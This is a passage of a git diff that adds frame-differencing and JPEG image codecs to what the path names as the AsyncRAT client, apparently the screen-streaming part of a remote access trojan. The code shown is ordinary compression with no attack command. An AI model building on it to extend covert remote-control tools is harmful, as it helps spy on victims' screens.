+ public abstract ulong CachedSize { get; internal set; }
+ public int ImageQuality { get; set; }
+
+ public IVideoCodec(int ImageQuality = 100)
+ {
+ this.jpgCompression = new JpgCompression(ImageQuality);
+ this.ImageQuality = ImageQuality;
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract void CodeImage(Bitmap bitmap, Stream outStream);
+ public abstract Bitmap DecodeData(Stream inStream);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs
new file mode 100644
index 0000000..d48beca
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs
@@ -0,0 +1,324 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeCacheCodec : IUnsafeCodec
+ {
+ private const int BlockCount = 5;
+ private const int HashBlockCount = 8192;
+
+ public override ulong CachedSize
+ {
+ get { return 0; }
+ internal set { }
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
+ }
+
+ private Bitmap decodedBitmap;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private PixelFormat EncodedFormat;
+ private MurmurHash2Unsafe hasher;
+ private SortedList> EncodeBuffer;
+ private Rectangle[] Offsets;
+ private BlockInfo[] EncodeHashBlocks;
+ private BlockInfo[] DecodeHashBlocks;
+
+ public ulong EncodedFrames { get; private set; }
+ public ulong DecodedFrames { get; private set; }
+
+ public UnsafeCacheCodec(int ImageQuality = 80)
+ : base(ImageQuality)
+ {
+ this.hasher = new MurmurHash2Unsafe();
+ this.Offsets = new Rectangle[BlockCount];
+ this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
+ this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
+ for (int i = 0; i < HashBlockCount; i++)
+ {
+ EncodeHashBlocks[i] = new BlockInfo();
+ DecodeHashBlocks[i] = new BlockInfo();
+ }
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ if (ImageSize.Width == 0 || ImageSize.Height == 0)
+ throw new ArgumentException("The width and height must be 1 or higher");
+ if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
+ throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
+
+ int PixelSize = 0;
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ int Stride = ImageSize.Width * PixelSize;
+ int RawLength = Stride * ImageSize.Height;
+
+ if (EncodedFrames == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+
+ double size = (double)ImageSize.Width / (double)BlockCount;
+
+ //fix floating point here
+ for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
+ {
+ Offsets[i] = new Rectangle(j, 0, (int)size, 1);
+ }
+
+ EncodeBuffer = new SortedList>();
+ for (int y = 0; y < ImageSize.Height; y++)
+ {
+ for(int i = 0; i < Offsets.Length; i++)
+ {
+ if (!EncodeBuffer.ContainsKey(y))
+ EncodeBuffer.Add(y, new SortedList());
+ if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
+ EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
+ }
+ }
+ EncodedFrames++;
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List ImageOffsets = new List();
+ List ImageHashes = new List();
+
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ for (int i = 0; i < Offsets.Length; i++)
+ {
+ for (int y = 0; y < ImageSize.Height; y++)
+ {
+ Rectangle ScanRect = Offsets[i];
+ ScanRect.Y = y;
+
+ int offset = (y * Stride) + (ScanRect.X * PixelSize);
+
+ if (offset+Stride > Stride * ImageSize.Height)
+ break;
+
+ uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
+ uint BlockOffset = Hash % HashBlockCount;
+
+ BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
+
+ if (EncodeBuffer[y][ScanRect.X] != Hash)
+ {
+ if (!blockInfo.Hashes.ContainsKey(Hash))
+ {
+ int index = ImageOffsets.Count - 1;
+ if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
+ {
+ Rectangle rect = ImageOffsets[index].Location;
+ ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
+ }
+ else
+ {
+ ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
+ }
+
+ blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
+ ImageHashes.Add(Hash);
+ }
+ EncodeBuffer[y][ScanRect.X] = Hash;
+ }
+ }
+ }
+
+ if (ImageOffsets.Count > 0)
+ {
+ for (int i = 0; i < Offsets.Length; i++)
+ {
+ Rectangle TargetOffset = Offsets[i];
+ int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
+ Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ int blockStride = PixelSize * TargetOffset.Width;
+ List UsedOffsets = new List();
+
+ for (int j = 0; j < ImageOffsets.Count; j++)
+ {
+ Rectangle rect = ImageOffsets[j].Location;
+
+ if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
+ continue; //error in 1440p, did not tested futher
+
+ for (int o = 0, offset = 0; o < rect.Height; o++)
+ {
+ int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ UsedOffsets.Add(ImageOffsets[j]);
+ }
+ }
+ TmpBmp.UnlockBits(TmpData);
+ TmpBmp.Dispose();
+
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
+ if (UsedOffsets.Count > 0)
+ {
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
+ for (int j = 0; j < UsedOffsets.Count; j++)
+ {
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
+ outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
+ outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
+ }
+ byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
+ outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
+ outStream.Write(CompressedImg, 0, CompressedImg.Length);
+ }
+
+
+ //TotalDataLength += (int)length + (4 * 5);
+ }
+ }
+ EncodedFrames++;
+ }
+
+ private int GetOffsetHeight(List ImageOffsets, Rectangle rect)
+ {
+ int height = 0;
+ for (int i = 0; i < ImageOffsets.Count; i++)
+ {
+ if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
+ height += ImageOffsets[i].Location.Height;
+ }
+ return height;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+ //return decodedBitmap;
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return null;
+ }
+
+ private class BlockInfo
+ {
+ public SortedList Hashes { get; private set; }
+ public BlockInfo()
+ {
+ Hashes = new SortedList();
+ }
+ }
+ private class HashBlock
+ {
+ public bool Cached { get; set; }
+ public uint Hash { get; set; }
+ public Rectangle Location { get; set; }
+
+ public HashBlock(uint Hash, bool Cached, Rectangle Location)
+ {
+ this.Hash = Hash;
+ this.Cached = Cached;
+ this.Location = Location;
+ }
+ public HashBlock()
+ {
+
+ }
+ }
+ private class ImageOffset
+ {
+ public Rectangle Location { get; set; }
+ public List Hashes { get; set; }
+
+ public ImageOffset()
+ {
+ this.Hashes = new List();
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs
new file mode 100644
index 0000000..450d4fc
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs
@@ -0,0 +1,308 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeCachedStreamCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.HasBuffers; }
+ }
+
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private static Size CheckBlock = new Size(50, 50);
+ private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
+ private List Frames = new List();
+ public const int MAX_FRAMES = 120;
+
+ private ulong[] DecodeBuffer;
+ private Bitmap DecodedBitmap;
+ private List DecodedFrames = new List();
+
+ public UnsafeCachedStreamCodec(int ImageQuality)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodedWidth == 0 && EncodedHeight == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ return;
+ }
+
+ Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
+
+ int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
+ int RawSizeUsed = 0;
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+ List ChangedBlocks = new List();
+
+ for(int y = ScanArea.Y; y < ScanArea.Height; )
+ {
+ int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
+ for (int x = ScanArea.X; x < ScanArea.Width; )
+ {
+ int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
+ int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
+ decimal FinalHash = 0;
+
+ for (int h = 0; h < height; h++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
+ FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
+ }
+
+ if(onCodeDebugScan != null)
+ onCodeDebugScan(new Rectangle(x, y, width, height));
+
+ bool FoundBlock = false;
+ decimal FoundHash = 0;
+ int FrameIndex = 0;
+ for (int i = 0; i < Frames.Count; i++)
+ {
+ decimal hash = Frames[i].GetHashBlock(x, y);
+ if (hash == FinalHash)
+ {
+ FrameIndex = i;
+ FoundBlock = true;
+ FoundHash = hash;
+ break;
+ }
+ }
+
+ frame.AddHashBlock(x, y, FinalHash);
+
+ if (!FoundBlock)
+ {
+ int index = ChangedBlocks.Count - 1;
+ Rectangle cBlock = new Rectangle(x, y, width, height);
+
+ if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
+ {
+ Rectangle rect = ChangedBlocks[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ ChangedBlocks[index] = cBlock;
+ }
+ /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
+ {
+ Rectangle rect = ChangedBlocks[index];
+ int newHeight = cBlock.Height + rect.Height;
+ cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
+ ChangedBlocks[index] = cBlock;
+ }*/
+ else
+ {
+ ChangedBlocks.Add(cBlock);
+ }
+ RawSizeUsed += BlockStride * height;
+ }
+ x += width;
+ }
+ y += height;
+ }
+
+ //write all the blocks
+ for (int i = 0; i < ChangedBlocks.Count; i++)
+ {
+ Rectangle rect = ChangedBlocks[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ ChangedBlocks.Clear();
+
+ Frames.Add(frame);
+ if (Frames.Count > MAX_FRAMES)
+ Frames.RemoveAt(0);
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (DecodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ DecodedFrames.Add(DecodedBitmap);
+ return DecodedBitmap;
+ }
+
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(DecodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return DecodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return new Bitmap(10, 10);
+ }
+
+ private class HashedBlock
+ {
+ public int X { get; private set; }
+ public int Y { get; private set; }
+ public int Width { get; private set; }
+ public int Height { get; private set; }
+ public int FrameIndex { get; private set; }
+ public HashedBlock(int x, int y, int width, int height, int FrameIndex)
+ {
+ this.X = x;
+ this.Y = y;
+ this.Width = width;
+ this.Height = height;
+ this.FrameIndex = FrameIndex;
+ }
+
+ public override string ToString()
+ {
+ return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
+ }
+ }
+
+ private class Frame
+ {
+ public decimal[,] HashBlocks { get; private set; }
+
+ public Frame(int ImageWidth, int ImageHeight)
+ {
+ this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
+ }
+
+ public void AddHashBlock(int x, int y, decimal Hash)
+ {
+ x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
+ y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
+ this.HashBlocks[x, y] = Hash;
+ }
+ public decimal GetHashBlock(int x, int y)
+ {
+ x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
+ y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
+ return this.HashBlocks[x, y];
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
new file mode 100644
index 0000000..b4b0b8c
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs
@@ -0,0 +1,365 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeMiniCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+
+ private Size CheckBlock { get { return new Size(50, 50); } }
+
+ public UnsafeMiniCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (this.ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format + " is not supported.");
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ //first frame
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
+ throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
+
+
+ List Blocks = new List(); //all the changes
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ //1. Check for the changes in height
+ for (int y = ScanArea.Y; y < ScanArea.Height; y++)
+ {
+ Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
+ if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
+ {
+ int index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ }
+
+ //2. Capture all the changes using the CheckBlock
+ List finalUpdates = new List();
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Rectangle scanBlock = Blocks[i];
+
+ //go through the Blocks
+ for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
+ {
+ for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
+ {
+ int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
+ int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
+ Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ //scan the block from Top To Bottom and check for changes
+ bool FoundChanges = false;
+ for (int blockY = y; blockY < y + blockHeight; blockY++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
+ if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
+ {
+ FoundChanges = true;
+ break;
+ }
+ }
+
+ if (FoundChanges)
+ {
+ int index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ }
+ }
+ }
+
+ //maybe a too hard algorithm but oh well
+ SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
+ List FinalTemp = new List();
+
+ for (int i = 0; i < Array.Values.Count; i++)
+ {
+ FinalTemp.AddRange(Array.Values[i].Values);
+ }
+
+ //fixup the height
+ for (int i = 0; i < FinalTemp.Count; )
+ {
+ if (FinalTemp.Count == 1)
+ {
+ FinalTemp.Add(FinalTemp[i]);
+ break;
+ }
+
+ if (i + 1 < FinalTemp.Count)
+ {
+ Rectangle curRect = FinalTemp[i];
+ Rectangle nextRect = FinalTemp[i + 1];
+ if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
+ {
+ FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
+ FinalTemp.RemoveAt(i + 1);
+ }
+ else
+ {
+ i++;
+ }
+ }
+ else
+ {
+ break;
+ }
+ }
+
+ //copy changes to the EncodeBuffer and Process the Output
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < FinalTemp.Count; i++)
+ {
+ Rectangle rect = FinalTemp[i];
+ int blockStride = PixelSize * rect.Width;
+
+ //copy changes to EncodeBuffer
+ for (int y = rect.Y; y < rect.Y + rect.Height; y++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
+ NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
+ }
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ }
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
